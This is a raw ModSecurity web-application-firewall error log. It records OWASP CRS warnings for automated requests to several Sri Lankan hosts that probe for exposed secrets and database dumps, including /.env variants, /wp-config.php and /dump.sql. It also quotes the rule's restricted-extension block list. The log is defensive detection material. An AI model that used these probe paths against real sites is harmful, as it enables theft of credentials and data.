[Fri Jul 17 08:28:16.622335 2026] [security2:error] [pid 2014286:tid 2014286] [client 18.208.204.157:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaSB15lhZh2QtC5qEWJgAAAB8"]
[Fri Jul 17 08:28:16.622711 2026] [security2:error] [pid 2014286:tid 2014286] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaSB15lhZh2QtC5qEWJgAAAB8"]
[Fri Jul 17 08:28:16.623095 2026] [security2:error] [pid 2014286:tid 2014286] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaSB15lhZh2QtC5qEWJgAAAB8"]
[Fri Jul 17 08:28:16.681398 2026] [security2:error] [pid 1993584:tid 1993584] [client 44.197.191.67:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "admin.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaSFxP5-SsqbGuGB2lHgAAAAA"]
[Fri Jul 17 08:28:16.681776 2026] [security2:error] [pid 1993584:tid 1993584] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "admin.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaSFxP5-SsqbGuGB2lHgAAAAA"]
[Fri Jul 17 08:28:16.682060 2026] [security2:error] [pid 1993584:tid 1993584] [client 44.197.191.67:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaSFxP5-SsqbGuGB2lHgAAAAA"]
[Fri Jul 17 08:28:16.973802 2026] [security2:error] [pid 2013797:tid 2013797] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaSFh1WDijTxd1xw5I8AAAAAc"]
[Fri Jul 17 08:28:16.974031 2026] [security2:error] [pid 2013797:tid 2013797] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaSFh1WDijTxd1xw5I8AAAAAc"]
[Fri Jul 17 08:28:16.974249 2026] [security2:error] [pid 2013797:tid 2013797] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaSFh1WDijTxd1xw5I8AAAAAc"]
[Fri Jul 17 08:28:16.995403 2026] [security2:error] [pid 1993573:tid 1993573] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaSHt8zp89pALg8Q5lCgAAAA4"]
[Fri Jul 17 08:28:16.995630 2026] [security2:error] [pid 1993573:tid 1993573] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaSHt8zp89pALg8Q5lCgAAAA4"]
[Fri Jul 17 08:28:16.995886 2026] [security2:error] [pid 1993573:tid 1993573] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaSHt8zp89pALg8Q5lCgAAAA4"]
[Fri Jul 17 08:28:17.671893 2026] [security2:error] [pid 2014279:tid 2014279] [client 18.208.204.157:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaSUz_ZDvgWqiMlMbLTgAAAB0"]
[Fri Jul 17 08:28:17.672164 2026] [security2:error] [pid 2014279:tid 2014279] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaSUz_ZDvgWqiMlMbLTgAAAB0"]
[Fri Jul 17 08:28:17.672492 2026] [security2:error] [pid 2014279:tid 2014279] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaSUz_ZDvgWqiMlMbLTgAAAB0"]
[Fri Jul 17 08:28:17.672865 2026] [security2:error] [pid 2014279:tid 2014279] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaSUz_ZDvgWqiMlMbLTgAAAB0"]
[Fri Jul 17 08:28:18.038338 2026] [security2:error] [pid 1993584:tid 1993584] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaSlxP5-SsqbGuGB2lHwAAAAA"]
[Fri Jul 17 08:28:18.038580 2026] [security2:error] [pid 1993584:tid 1993584] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaSlxP5-SsqbGuGB2lHwAAAAA"]
[Fri Jul 17 08:28:18.038903 2026] [security2:error] [pid 1993584:tid 1993584] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaSlxP5-SsqbGuGB2lHwAAAAA"]
[Fri Jul 17 08:28:18.193521 2026] [security2:error] [pid 2013829:tid 2013829] [client 18.208.204.157:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaSg7FYe46zHK_jL3MWwAAABk"]
[Fri Jul 17 08:28:18.194052 2026] [security2:error] [pid 2013829:tid 2013829] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaSg7FYe46zHK_jL3MWwAAABk"]
[Fri Jul 17 08:28:18.194364 2026] [security2:error] [pid 2013829:tid 2013829] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaSg7FYe46zHK_jL3MWwAAABk"]
[Fri Jul 17 08:28:18.679924 2026] [security2:error] [pid 1993619:tid 1993619] [client 18.208.204.157:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaSo1dLClkUfK_dfHhiAAAAAI"]
[Fri Jul 17 08:28:18.680265 2026] [security2:error] [pid 1993619:tid 1993619] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaSo1dLClkUfK_dfHhiAAAAAI"]
[Fri Jul 17 08:28:18.680515 2026] [security2:error] [pid 1993619:tid 1993619] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaSo1dLClkUfK_dfHhiAAAAAI"]
[Fri Jul 17 08:28:18.793611 2026] [security2:error] [pid 1993659:tid 1993659] [client 18.208.204.157:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaSpOFLENLI63GGOEKVQAAAAQ"]
[Fri Jul 17 08:28:18.793988 2026] [security2:error] [pid 1993659:tid 1993659] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaSpOFLENLI63GGOEKVQAAAAQ"]
[Fri Jul 17 08:28:18.794228 2026] [security2:error] [pid 1993659:tid 1993659] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaSpOFLENLI63GGOEKVQAAAAQ"]
[Fri Jul 17 08:28:18.924155 2026] [security2:error] [pid 2008451:tid 2008451] [client 32.198.65.184:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/wp-config.php"] [unique_id "almaSgPhWp7RzB65h36e2AAAAA0"]
[Fri Jul 17 08:28:18.924563 2026] [security2:error] [pid 2008451:tid 2008451] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/wp-config.php"] [unique_id "almaSgPhWp7RzB65h36e2AAAAA0"]
[Fri Jul 17 08:28:18.947076 2026] [security2:error] [pid 2005917:tid 2005917] [client 32.198.65.184:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.local"] [unique_id "almaSnf2WrySr2miwA73gwAAABY"]
[Fri Jul 17 08:28:18.947433 2026] [security2:error] [pid 2005917:tid 2005917] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.local"] [unique_id "almaSnf2WrySr2miwA73gwAAABY"]
[Fri Jul 17 08:28:19.004122 2026] [security2:error] [pid 2014285:tid 2014285] [client 32.198.65.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.backup"] [unique_id "almaSzPV8F2Ufi3kXba6rgAAAB4"]
[Fri Jul 17 08:28:19.004287 2026] [security2:error] [pid 2014285:tid 2014285] [client 32.198.65.184:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.backup"] [unique_id "almaSzPV8F2Ufi3kXba6rgAAAB4"]
[Fri Jul 17 08:28:19.004519 2026] [security2:error] [pid 2014285:tid 2014285] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.backup"] [unique_id "almaSzPV8F2Ufi3kXba6rgAAAB4"]
